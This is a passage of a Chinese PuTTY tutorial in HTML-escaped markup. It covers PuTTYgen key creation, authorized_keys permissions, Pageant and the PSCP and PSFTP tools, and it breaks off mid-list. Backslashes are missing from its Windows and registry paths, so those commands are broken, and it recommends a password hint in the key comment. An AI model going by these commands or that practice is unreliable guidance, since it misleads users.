src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_38gqj8sn&quot; /&gt;&lt;br id=&quot;nkpr364&quot; /&gt;如果在 Saved Sessions 这里和上面的 Host Name 清空，点 Save 按钮，就可以把设置保存为默认设置。&lt;br id=&quot;nkpr365&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr366&quot;&gt;备份 PuTTY 的设置&lt;/h3&gt;&lt;p&gt;用 PuTTY 最不爽的就是，它把所有的设置都保存到注册表了，本来这不是什么问题。但是难免会重装一下机器，用下面的命令可以备份 PuTTY 的所有设置&lt;br id=&quot;nkpr367&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr368&quot;&gt;regedit /e PuTTY.config.reg &amp;quot;HKEY_CURRENT_USERSoftwareSimonTathamPuTTY&amp;quot;&lt;br id=&quot;nkpr369&quot; /&gt;&lt;/blockquote&gt;&lt;h3 id=&quot;nkpr370&quot;&gt;删除 PuTTY 的设置&lt;/h3&gt;&lt;p&gt;如果只是在其他机器上临时用了一个 PuTTY，用完以后想删除 PuTTY 的配置，就在控制台里输入如下的命令：&lt;br id=&quot;nkpr371&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr372&quot;&gt;putty.exe -cleanup&lt;br id=&quot;nkpr373&quot; /&gt;&lt;/blockquote&gt;&lt;h2 id=&quot;nkpr374&quot;&gt;用 PuTTYgen 来生成密钥，以后可以不用密码登录服务器了&lt;/h2&gt;&lt;p&gt;PuTTYgen 是密钥生成器，用来生成一对公钥和私钥供 PuTTY、PSCP、Plink、Pagent 来使用。&lt;br id=&quot;nkpr375&quot; /&gt;直接运行 PuTTYgen 可以看到如下的界面。&lt;br id=&quot;nkpr376&quot; /&gt;&lt;img style=&quot;width: 506px; height: 489px&quot; id=&quot;nkpr377&quot; title=&quot;PuTTY Key Generator&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_46cw3f2f&quot; /&gt;&lt;br id=&quot;nkpr378&quot; /&gt;点击 Generate 按钮就开始生成一个公钥和私钥对，生成完毕后，点下面的 Save private key 就可以把私钥保存起来，扩展名是 .ppk 的文件。&lt;br id=&quot;nkpr379&quot; /&gt;Load 按钮可以把先前保存的私钥重新打开，然后做些修改，比如修改注释和私钥口令，或者把 PuTTY 格式的私钥转换为 OpenSSH 格式的。&lt;br id=&quot;nkpr380&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr381&quot;&gt;开始用 PuTTYgen 创建密钥&lt;/h3&gt;&lt;p&gt;单击 Generate 按钮，然后你会看到进度条上面有个提示“Please generate some radomness by moving the mouse over the blank area.”，意思就是让你用鼠标在空白区域随机移动。随着鼠标在空白区域的移动，进度条会一直走下去。停止移动鼠标，进度条也就停止了。那我们就移动鼠标，直到进度条走满为止。&lt;br id=&quot;nkpr382&quot; /&gt;&lt;img style=&quot;width: 506px; height: 489px&quot; id=&quot;nkpr383&quot; title=&quot;用 PuTTYgen 创建密钥&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_52hjtwgx&quot; /&gt;&lt;br id=&quot;nkpr384&quot; /&gt;等进度条走完之后，会出现下面的界面&lt;br id=&quot;nkpr385&quot; /&gt;&lt;img style=&quot;width: 506px; height: 489px&quot; id=&quot;nkpr386&quot; title=&quot;用 PuTTYgen 创建密钥，第二步&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_53dknx7b&quot; /&gt;&lt;br id=&quot;nkpr387&quot; /&gt;最上面那个大大的只读文本框里面是公钥，用来保存到 OpenSSH 的 authorized_keys 文件中，这个文件中的每一行都是一个公钥。默认情况下，这个文件位于 Linux 用户主目录的 .ssh/ 子目录中，如果文件和目录都不存在，可以直接创建。&lt;br id=&quot;nkpr388&quot; /&gt;但是创建的文件、目录和用户主目录（$HOME, $HOME/.ssh, $HOME/.ssh/authorized_keys）的权限有个限制就是对除了本帐户的其他所有帐户都要求是只读的，否则的话，即使公钥、私钥都匹配无误，也是无法登入系统的。这是 SSH 服务器的一个安全要求，因为如果别的帐户可以修改你的 authorized_keys 的话，恶意的增加一个公钥，那对方不用你的帐户口令也能以你的帐户登入系统了。对于一些特殊要求，你可以在 SSH 服务器的配置文件 sshd_config 中用指令&lt;br id=&quot;nkpr389&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr390&quot;&gt;StrictModes no&lt;br id=&quot;nkpr391&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;来取消这个限制。在 sshd_config 的帮助手册中可以看到&lt;/p&gt;&lt;blockquote id=&quot;nkpr392&quot;&gt;StrictModes&lt;br id=&quot;nkpr393&quot; /&gt;Specifies whether sshd should check file modes and ownership of&lt;br id=&quot;nkpr394&quot; /&gt;the user’s files and home directory before accepting login. This&lt;br id=&quot;nkpr395&quot; /&gt;is normally desirable because novices sometimes accidentally&lt;br id=&quot;nkpr396&quot; /&gt;leave their directory or files world-writable. The default is&lt;br id=&quot;nkpr397&quot; /&gt;“yes”.&lt;br id=&quot;nkpr398&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;小技巧：每次修改 authorized_keys 这个文件时，你可以用如下的命令来修改，确保所有的文件属性和权限无误&lt;br id=&quot;nkpr399&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr400&quot;&gt;mkdir -p $HOME/.ssh &amp;amp;&amp;amp; touch $HOME/.ssh/authorized_keys &lt;br id=&quot;nkpr401&quot; /&gt;&amp;amp;&amp;amp; chmod go-w $HOME $HOME/.ssh $HOME/.ssh/authorized_keys &amp;amp;&amp;amp; vim $HOME/.ssh/authorized_keys&lt;br id=&quot;nkpr402&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;还有一个要强调的是那个 Key comment，这是密钥的注释，一定要修改。因为这个密钥是给自己用的，所以最起码要输入自己的名字，用默认的注释很容易和其他人的密钥混淆的。如果担心自己的密码忘记了，可以在后面加上密码提示，当然了，不要让别人用注释猜出你的密钥口令。比如，我可以把注释修改为&lt;br id=&quot;nkpr403&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr404&quot;&gt;ChaiFeng [20061120] w.z.&lt;br id=&quot;nkpr405&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;后面的 w.z. 就是我的密码提示，能猜出来么？呵呵&lt;br id=&quot;nkpr406&quot; /&gt;&lt;img style=&quot;width: 506px; height: 489px&quot; id=&quot;nkpr407&quot; title=&quot;密钥的注释&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_55dsfwtm&quot; /&gt;&lt;br id=&quot;nkpr408&quot; /&gt;输入注释，上面的公钥也会随之发生变化。&lt;br id=&quot;nkpr409&quot; /&gt;现在最重要的是，输入自己的密钥口令。就是 Key passphrase 和 Confirm passphrase 这个两个输入框。&lt;br id=&quot;nkpr410&quot; /&gt;如果不输入口令，直接保存私钥会看到这个提示。为了安全起见还是输入口令吧，要不任何人得到这个私钥都可以不用口令登入系统了。&lt;br id=&quot;nkpr411&quot; /&gt;&lt;img style=&quot;width: 506px; height: 489px&quot; id=&quot;nkpr412&quot; title=&quot;密钥的口令为空时，会出现这个提示&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_54g4xn3b&quot; /&gt;&lt;br id=&quot;nkpr413&quot; /&gt;最后单击 Save private key 来保存私钥吧，保存到自己认为安全的地方，比如存放到私人的 USB 闪存盘上。需要登录时，插上 USB 闪存盘。登录完毕后就可以把 USB 闪存盘取下来，哈哈，这样子就比较安全了。&lt;br id=&quot;nkpr414&quot; /&gt;大家也注意到了，还有个 Save public key 按钮，这个是保存 SSH2 格式的公钥，有些 SSH 服务器要求用这种格式的公钥文件。一般情况下，我们是不需要的，所以这里也就保存了。以后还想的话，就用 PuTTYgen 把私钥 Load 出来，然后再保存也可以。&lt;br id=&quot;nkpr415&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr416&quot;&gt;用密钥登录服务器的流程&lt;/h3&gt;&lt;p&gt;上面杂七杂八的说了一堆创建密钥时的事情，大家会不会已经有些乱了呢？我把这个过程再罗列一遍：&lt;br id=&quot;nkpr418&quot; /&gt;&lt;/p&gt;&lt;ol id=&quot;nkpr419&quot;&gt;&lt;li id=&quot;nkpr420&quot;&gt;如果没有公钥/密钥对，就用 PuTTYgen 创建一个，已经有了就可以忽略这一步。一个公钥/密钥对可以用在不同的服务器上，所以也不需要重复创建，关键要有足够强健的密码和安全的存放。&lt;/li&gt;&lt;li id=&quot;nkpr421&quot;&gt;象先前一样输入帐户名和口令登录到主机上。&lt;/li&gt;&lt;li id=&quot;nkpr422&quot;&gt;输入如下命令，来编辑 authorized_keys 文件&lt;br id=&quot;nkpr423&quot; /&gt;mkdir -p $HOME/.ssh &amp;amp;&amp;amp; touch $HOME/.ssh/authorized_keys &lt;br id=&quot;nkpr424&quot; /&gt;&amp;amp;&amp;amp; chmod go-w $HOME $HOME/.ssh $HOME/.ssh/authorized_keys &amp;amp;&amp;amp; vim $HOME/.ssh/authorized_keys&lt;/li&gt;&lt;li id=&quot;nkpr425&quot;&gt;把&lt;br id=&quot;nkpr426&quot; /&gt;&lt;img style=&quot;width: 486px; height: 133px&quot; id=&quot;nkpr427&quot; title=&quot;PuTTYgen 生成的公钥&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_56d445j9&quot; /&gt;&lt;br id=&quot;nkpr428&quot; /&gt;这个文本框里的公钥粘贴到 vim 中去，需要说明几点：这个文本框里的内容是一行的，粘贴到 vim 中时，别忘了按字母 o 这个键，否则的话，粘贴进去后，开头的 ssh-rsa 会变成 sh-rsa，为什么呢？哈哈，想想吧。&lt;br id=&quot;nkpr429&quot; /&gt;为什么不按字母键 i 呢？这个在 vim 中不就是插入么？原因是我很懒，按字母 o，我可以节省一次按回车键。虽然按大写 O 也行，那我不是还得再按一下 Shift 键么？&lt;br id=&quot;nkpr430&quot; /&gt;别忘了，在 PuTTY 中默认的粘贴可是按鼠标右键哦，然后按一下 ESC 键，然后输入 :wq 保存退出，等等，大家先别着急的输入 :wq，既然输入冒号还得按下 Shift 键，那我们就干脆直接两下大写的字母 Z，也就是 ZZ。怎么样？vim 也一样保存退出了吧。这次又节省了一次按键和两次寻找字母的移动，把懒得优良传统再一次在实践中发扬光大。&lt;br id=&quot;nkpr431&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr432&quot; title=&quot;把公钥粘贴到 authorized_keys 里面去&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_58fh2th8&quot; /&gt;&lt;br id=&quot;nkpr433&quot; /&gt;&lt;/li&gt;&lt;li id=&quot;nkpr434&quot;&gt;如果已经有了私钥，第4步里的那个公钥忘记保存了，就用 PuTTYgen 把这个私钥 Load 上去，然后重新复制一下公钥吧。&lt;/li&gt;&lt;li id=&quot;nkpr435&quot;&gt;在 PuTTY 的配置 Connection-&amp;gt;SSH-&amp;gt;Auth 这里面，指定上私钥，然后记得保存 Session，以后就不需要重复这一步了。&lt;br id=&quot;nkpr436&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr437&quot; title=&quot;指定登录时的私钥&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_57cznt5t&quot; /&gt;&lt;br id=&quot;nkpr438&quot; /&gt;&lt;/li&gt;&lt;li id=&quot;nkpr439&quot;&gt;最好也指定上自动登录的用户名，还记得这里吗？&lt;br id=&quot;nkpr440&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr441&quot; title=&quot;指定自动登录的用户名&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_59ddcg2b&quot; /&gt;&lt;/li&gt;&lt;li id=&quot;nkpr442&quot;&gt;开始登录吧，这次你会看到一个不同于以往的登录提示&lt;br id=&quot;nkpr443&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr444&quot; title=&quot;密钥登录时的提示&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_60dq9jdj&quot; /&gt;&lt;br id=&quot;nkpr445&quot; /&gt;现在输入的口令可不是主机上这个账户的口令了，而是先前创建的这个密钥的口令。以后不管这个账户的口令是什么，即使再复杂，也和我们没关系了。只要这个账户的 $HOME/.ssh/authorized_keys 文件中，有我们的公钥，我们就随时用匹配的私钥都可以登录了。配合后面提到的 Pagent，我们连输入密钥口令这一步也可以忽略过去。&lt;/li&gt;&lt;li id=&quot;nkpr446&quot;&gt;登录成功了，别忘了按 Ctrl+d 注销哦。&lt;br id=&quot;nkpr447&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr448&quot; title=&quot;用密钥登录成功后&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_61cvmzwq&quot; /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;以后这些步骤就不需要再重复了，只需要打开 PuTTY 后，双击一下保存的会话名称，输入密钥口令。&lt;br id=&quot;nkpr449&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr450&quot;&gt;Pagent 加载密钥，每次开机后只需要输入一次密钥口令&lt;/h2&gt;&lt;p&gt;终于轮到 Pagent 出场了，双击一下 Pagent.exe，嗯，没反应？再双击一下，咦？出来个提示，说已经运行了。&lt;br id=&quot;nkpr451&quot; /&gt;&lt;img style=&quot;width: 246px; height: 150px&quot; id=&quot;nkpr452&quot; title=&quot;Pagent is already running&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_62f2tqn3&quot; /&gt;&lt;br id=&quot;nkpr453&quot; /&gt;看看右下角吧，在这里呢&lt;br id=&quot;nkpr454&quot; /&gt;&lt;img style=&quot;width: 212px; height: 54px&quot; id=&quot;nkpr455&quot; title=&quot;Pagent&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_63fgtwg5&quot; /&gt;&lt;br id=&quot;nkpr456&quot; /&gt;双击一下 Pagent 的图标，出来这样一个界面。很简洁的，Add Key 是添加私钥，Remove Key 是把选中的私钥从 Pagent 中卸载了。&lt;br id=&quot;nkpr457&quot; /&gt;&lt;img style=&quot;width: 524px; height: 375px&quot; id=&quot;nkpr458&quot; title=&quot;Pagent GUI&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_64f8qrq8&quot; /&gt;&lt;br id=&quot;nkpr459&quot; /&gt;好，现在单击 Add Key 按钮添加私钥，我把这个演示用的私钥保存到 C: 了&lt;br id=&quot;nkpr460&quot; /&gt;&lt;img style=&quot;width: 586px; height: 434px&quot; id=&quot;nkpr461&quot; title=&quot;选择私钥&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_65dc39fw&quot; /&gt;&lt;br id=&quot;nkpr462&quot; /&gt;然后会出现输入密钥口令的对话框，输入正确的密钥后，单击 OK&lt;br id=&quot;nkpr463&quot; /&gt;&lt;img style=&quot;width: 239px; height: 148px&quot; id=&quot;nkpr464&quot; title=&quot;输入私钥的口令&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_66cwj3cc&quot; /&gt;&lt;br id=&quot;nkpr465&quot; /&gt;这时，在 Pagent 的窗口中就能看到我们的私钥已经装载上去了。&lt;br id=&quot;nkpr466&quot; /&gt;&lt;img style=&quot;width: 524px; height: 375px&quot; id=&quot;nkpr467&quot; title=&quot;察看已经装载的私钥&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_67hf58c5&quot; /&gt;&lt;br id=&quot;nkpr468&quot; /&gt;现在打开 PuTTY，选择先前保存的 Session，双击一下。只要自动登录用户名设置上，主机上改帐户的 authorized_keys 文件里也有匹配的公钥。哈哈，发现没有？完全不需要口令，我们已经登录到系统了。&lt;br id=&quot;nkpr469&quot; /&gt;在 Pagent 的图标上点右键，也可以快捷的选择已经保存的会话。&lt;br id=&quot;nkpr470&quot; /&gt;&lt;img style=&quot;width: 318px; height: 506px&quot; id=&quot;nkpr471&quot; title=&quot;Pagent 的快捷菜单&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_68g5fstk&quot; /&gt;&lt;br id=&quot;nkpr472&quot; /&gt;建议大家把 Pagent 放到启动组里面，这样每次一开机，Pagent 自动运行，然后我们只需要把私钥装载一下，然后我们就可以一直享受自动登录系统的乐趣了。再配合上以后会讲到的 Plink、PSCP 这些，我们可以实现很多工作的自动化进行。完全不需要每次输入用户名、口令、输入又长又多的命令，再做一些烦躁的文件备份，最后还得记得注销系统，难道不觉得麻烦么？这一切烦恼很快就会远离我们了，继续往下看吧。&lt;br id=&quot;nkpr473&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr474&quot;&gt;用 SSH 来传输文件&lt;/h2&gt;&lt;p&gt;PuTTY 提供了两个文件传输工具&lt;br id=&quot;nkpr475&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr476&quot;&gt;&lt;li id=&quot;nkpr477&quot;&gt;PSCP (PuTTY Secure Copy client)&lt;/li&gt;&lt;li id=&quot;nkpr478&quot;&gt;PSFTP (PuTTY SFTP client)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;PSCP 通过 SSH 连接，在两台机器之间安全的传输文件，可以用于任何 SSH（包括 SSH v1、SSH v2） 服务器。&lt;br id=&quot;nkpr479&quot; /&gt;PSFTP 则是 SSH-2 中新增的特性，使用的是新的 SFTP 协议，使用上与传统的 FTP 类似。事实上 PSCP 如果发现 SFTP 可用，PSCP就会使用 SFTP 协议来传输文件，否则还是 SCP 协议。PSFTP 与 PSCP 相比，PSFTP 的优点是可以与服务器进行交互，遍历服务器上的文件系统，在一个会话中上传或下载多个文件。而 PSCP 只能一次传输一个文件，传输完毕后立刻终止会话。&lt;br id=&quot;nkpr480&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr481&quot;&gt;PSCP 的使用&lt;/h3&gt;&lt;p&gt;在控制台直接执行 pscp 可以看到帮助&lt;br id=&quot;nkpr482&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr483&quot;&gt;C:&amp;gt;pscp&lt;br id=&quot;nkpr484&quot; /&gt;PuTTY Secure Copy client&lt;br id=&quot;nkpr485&quot; /&gt;Release 0.58&lt;br id=&quot;nkpr486&quot; /&gt;Usage: pscp [options] [user@]host:source target&lt;br id=&quot;nkpr487&quot; /&gt;pscp [options] source [source...] [user@]host:target&lt;br id=&quot;nkpr488&quot; /&gt;pscp [options] -ls [user@]host:filespec&lt;br id=&quot;nkpr489&quot; /&gt;Options:&lt;br id=&quot;nkpr490&quot; /&gt;-V print version information and exit&lt;br id=&quot;nkpr491&quot; /&gt;-pgpfp print PGP key fingerprints and exit&lt;br id=&quot;nkpr492&quot; /&gt;-p preserve file attributes&lt;br id=&quot;nkpr493&quot; /&gt;-q quiet, don&apos;t show statistics&lt;br id=&quot;nkpr494&quot; /&gt;-r copy directories recursively&lt;br id=&quot;nkpr495&quot; /&gt;-v show verbose messages&lt;br id=&quot;nkpr496&quot; /&gt;-load sessname Load settings from saved session&lt;br id=&quot;nkpr497&quot; /&gt;-P port connect to specified port&lt;br id=&quot;nkpr498&quot; /&gt;-l user connect with specified username&lt;br id=&quot;nkpr499&quot; /&gt;-pw passw login with specified password&lt;br id=&quot;nkpr500&quot; /&gt;-1 -2 force use of particular SSH protocol version&lt;br id=&quot;nkpr501&quot; /&gt;-4 -6 force use of IPv4 or IPv6&lt;br id=&quot;nkpr502&quot; /&gt;-C enable compression&lt;br id=&quot;nkpr503&quot; /&gt;-i key private key file for authentication&lt;br id=&quot;nkpr504&quot; /&gt;-batch disable all interactive prompts&lt;br id=&quot;nkpr505&quot; /&gt;-unsafe allow server-side wildcards (DANGEROUS)&lt;br id=&quot;nkpr506&quot; /&gt;-sftp force use of SFTP protocol&lt;br id=&quot;nkpr507&quot; /&gt;-scp force use of SCP protocol&lt;br id=&quot;nkpr508&quot; /&gt;&lt;br id=&quot;nkpr509&quot; /&gt;C:&amp;gt;&lt;br id=&quot;nkpr510&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;可以看出 PSCP 的使用是很简单的，把常用的几个选项说一下：&lt;br id=&quot;nkpr511&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr512&quot;&gt;&lt;li id=&quot;nkpr513&quot;&gt;-q 安静模式，传输文件时什么也不显示，否则会显示出文件的传输进度，默认是关闭的&lt;/li&gt;&lt;li id=&quot;nkpr514&quot;&gt;-P port 指定服务器的 SSH 端口，注意这个是大写字母 P，默认是 -P 22，如果主机的 SSH 端口就是 22，就不用指定了&lt;/li&gt;&lt;li id=&quot;nkpr515&quot;&gt;-l user 指定以哪个用户的身份登录主机，如果没有指定，则 PSCP 会在 PuTTY 保存的同名 Session 中获得默认的用户名称。用户名称也可以和主机名称写在一起，用 @ 分割开，比如：username@server&lt;/li&gt;&lt;li id=&quot;nkpr516&quot;&gt;-pw passwd 指定登录时所用的口令为 passwd&lt;/li&gt;&lt;li id=&quot;nkpr517&quot;&gt;-i keyfile 就是指定登录时所用的密钥文件&lt;/li&gt;&lt;li id=&quot;nkpr518&quot;&gt;最后面指定的主机名也可以是 PuTTY 中保存的 Session 名称。比如我们在 PuTTY 中保存了一个名为 foobarserver 的会话，而我们所在的网络又的确没有名为 foobarserver 的主机名称。而在这个 foobarserver 会话中保存的主机名称是 demo-server，保存的自动登录的用户是 taylor。那么用命令&lt;br id=&quot;nkpr519&quot; /&gt;&lt;blockquote id=&quot;nkpr520&quot;&gt;pscp c:autoexec.bat foobarserver:backup/&lt;br id=&quot;nkpr521&quot; /&gt;&lt;/blockquote&gt;就把本地的 c:autoexec.bat 复制到了主机 demo-server 上的用户 taylor 所在的主目录下的 backup 子目录中（这个路径可能是 /home/taylor/backup&lt;br id=&quot;nkpr522&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br id=&quot;nkpr523&quot; /&gt;所以 PSCP 大致用法的例子就是：&lt;br id=&quot;nkpr524&quot; /&gt;pscp -P 22 -i c:pathyour-private-key.ppk -C username@server:/remote/path/&lt;br id=&quot;nkpr525&quot; /&gt;下面还是用一些实例来说明会比较简单一些：&lt;br id=&quot;nkpr526&quot; /&gt;把本地的 C:pathfoo.txt 复制到远程主机 192.168.6.200 的 /tmp 目录下&lt;br id=&quot;nkpr527&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr528&quot;&gt;pscp c:pathfoo.txt 192.168.6.200:/tmp&lt;br id=&quot;nkpr529&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;把本地的 C:pathfoo.txt 复制到主机 192.168.6.200 的 /tmp 目录下，但是以主机上的用户 taylor 的权限执行&lt;br id=&quot;nkpr530&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr531&quot;&gt;pscp c:pathfoo.txt &lt;b&gt;taylor@&lt;/b&gt;192.168.6.200:/tmp&lt;br id=&quot;nkpr533&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;或者是&lt;br id=&quot;nkpr534&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr535&quot;&gt;pscp &lt;b&gt;-l taylor&lt;/b&gt; c:pathfoo.txt 192.168.6.200:/tmp&lt;br id=&quot;nkpr537&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;把本地的 C:pathfoo.txt 传送到主机 192.168.6.200 的 /tmp 目录下，但是主机的 SSH 端口是 3122&lt;br id=&quot;nkpr538&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr539&quot;&gt;pscp &lt;b&gt;-P 3122&lt;/b&gt; c:pathfoo.txt 192.168.6.200:/tmp&lt;br id=&quot;nkpr541&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;把本地的 C:pathfoo.txt 复制到主机 192.168.6.200 的用户 taylor 的主目录下&lt;br id=&quot;nkpr542&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr543&quot;&gt;pscp c:pathfoo.txt taylor@192.168.6.200:.&lt;br id=&quot;nkpr544&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;把主机 192.168.6.200 上的用户 taylor 主目录下的所有 *.tgz 文件拷贝到本地的 c:backup 目录中，如果 SSH 版本是 SSH v1，那这个命令就会出错。&lt;br id=&quot;nkpr545&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr546&quot;&gt;pscp taylor@192.168.6.200:*.tgz c:backup&lt;br id=&quot;nkpr547&quot; /&gt;&lt;/blockquote&gt;&lt;h3 id=&quot;nkpr548&quot;&gt;再来看看 PSFTP&lt;/h3&gt;&lt;p&gt;在控制台执行命令 psftp -h，可以得到 psftp 的帮助&lt;br id=&quot;nkpr549&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr550&quot;&gt;C:&amp;gt;psftp -h&lt;br id=&quot;nkpr551&quot; /&gt;PuTTY Secure File Transfer (SFTP) client&lt;br id=&quot;nkpr552&quot; /&gt;Release 0.58&lt;br id=&quot;nkpr553&quot; /&gt;Usage: psftp [options] [user@]host&lt;br id=&quot;nkpr554&quot; /&gt;Options:&lt;br id=&quot;nkpr555&quot; /&gt;-V print version information and exit&lt;br id=&quot;nkpr556&quot; /&gt;-pgpfp print PGP key fingerprints and exit&lt;br id=&quot;nkpr557&quot; /&gt;-b file use specified batchfile&lt;br id=&quot;nkpr558&quot; /&gt;-bc output batchfile commands&lt;br id=&quot;nkpr559&quot; /&gt;-be don&apos;t stop batchfile processing if errors&lt;br id=&quot;nkpr560&quot; /&gt;-v show verbose messages&lt;br id=&quot;nkpr561&quot; /&gt;-load sessname Load settings from saved session&lt;br id=&quot;nkpr562&quot; /&gt;-l user connect with specified username&lt;br id=&quot;nkpr563&quot; /&gt;-P port connect to specified port&lt;br id=&quot;nkpr564&quot; /&gt;-pw passw login with specified password&lt;br id=&quot;nkpr565&quot; /&gt;-1 -2 force use of particular SSH protocol version&lt;br id=&quot;nkpr566&quot; /&gt;-4 -6 force use of IPv4 or IPv6&lt;br id=&quot;nkpr567&quot; /&gt;-C enable compression&lt;br id=&quot;nkpr568&quot; /&gt;-i key private key file for authentication&lt;br id=&quot;nkpr569&quot; /&gt;-batch disable all interactive prompts&lt;br id=&quot;nkpr570&quot; /&gt;&lt;br id=&quot;nkpr571&quot; /&gt;C:&amp;gt;&lt;br id=&quot;nkpr572&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;用法与 PSCP 大同小异，虽然有个 -load 选项，其实这个没啥用，后面用主机名的时候，与 PSCP 一样直接用上会话名称就可以了。&lt;br id=&quot;nkpr573&quot; /&gt;用 PSFTP 登录到服务器上以后，操作与 FTP 差不多，这里简单的说一下吧：&lt;br id=&quot;nkpr574&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr576&quot;&gt;&lt;li id=&quot;nkpr577&quot;&gt;open 登录主机&lt;br id=&quot;nkpr578&quot; /&gt;open [username@]&amp;lt;sessname|hostname|ip&amp;gt; [port]&lt;br id=&quot;nkpr579&quot; /&gt;比如： &lt;ul id=&quot;nkpr580&quot;&gt;&lt;li id=&quot;nkpr581&quot;&gt;open taylor@demo-server 3022&lt;br id=&quot;nkpr582&quot; /&gt;就是以用户 taylor 的身份，登陆到主机 demo-server 上，SSH 端口是 3022&lt;/li&gt;&lt;li id=&quot;nkpr583&quot;&gt;open demo-server&lt;br id=&quot;nkpr584&quot; /&gt;登陆 demo-server，这里的 demo-server 可以是PuTTY 中已经保存的会话名称，也可以是主机的名称，如果主机名称与会话名称相同，以会话名称为准。&lt;br id=&quot;nkpr585&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li id=&quot;nkpr586&quot;&gt;close 关闭 SFTP 连接&lt;br id=&quot;nkpr587&quot; /&gt;这个没啥说的，close 就关闭了 SFTP 连接&lt;br id=&quot;nkpr588&quot; /&gt;&lt;/li&gt;&lt;li id=&quot;nkpr589&quot;&gt;quit 结束本次的 SFTP 会话&lt;br id=&quot;nkpr590&quot; /&gt;也没啥用法，就是关闭了 PSFTP 这个程序&lt;/li&gt;&lt;li id=&quot;nkpr591&quot;&gt;help [command] 帮助&lt;br id=&quot;nkpr592&quot; /&gt;直接打 help 就可以看到帮助指令，后面指定上 一个命令就可以查看该命令的帮助，比如： help open&lt;/li&gt;&lt;li id=&quot;nkpr593&quot;&gt;cd [directory] 改变当前目录&lt;/li&gt;&lt;li id=&quot;nkpr594&quot;&gt;pwd 察看当前目录&lt;/li&gt;&lt;li id=&quot;nkpr595&quot;&gt;lcd [directory] 改变本地目录&lt;/li&gt;&lt;li id=&quot;nkpr596&quot;&gt;lpwd 察看本地当前目录&lt;/li&gt;&lt;li id=&quot;nkpr597&quot;&gt;get [-r] &amp;lt;filename|directory&amp;gt; 从服务器下载一个文件/目录，这个命令不能用通配符，参数 -r 可以递归下载整个目录&lt;/li&gt;&lt;li id=&quot;nkpr598&quot;&gt;put [-r] &amp;lt;filename|directory&amp;gt; [dest] 把文件/目录上传到服务器，这个命令不能用通配符，参数 -r 可以递归上传整个目录&lt;/li&gt;&lt;li id=&quot;nkpr599&quot;&gt;mget [-r] &amp;lt;filename|directory&amp;gt; 从服务器下载一批文件/目录，可以用通配符，-r 的含义与 get 一样&lt;/li&gt;&lt;li id=&quot;nkpr600&quot;&gt;mget [-r] 